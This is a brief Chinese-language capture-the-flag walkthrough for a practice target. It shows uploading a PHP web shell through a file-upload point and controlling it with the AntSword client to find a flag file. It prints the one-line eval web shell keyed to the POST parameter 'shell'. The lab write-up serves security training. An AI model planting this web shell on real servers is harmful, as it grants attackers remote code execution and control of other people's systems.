准备软件下载：phpstudy，蚁剑
1.打开phpstudy
启动Apache
打开网站根目录
新建shell.php文本文件
编辑内容为（可使用notepad++编辑）
2.进入靶机
找到上传文件点并上传shell.php文件
3.在新闻管理中找到实验1点击修改
点击文件右键选择在 ‘新标签页中打开图片’
显示如下图则成功
4.打开蚁剑
单击空白处点击右键’添加数据’
URL地址为步骤3中 '新标签页中打开图片’的地址
连接密码为shell（@eval($_POST[‘shell’]);）
添加成功
找到flag.sh
找到真正flag路径：/home/$USER/flag
成功找到flag
辅助链接：明世隐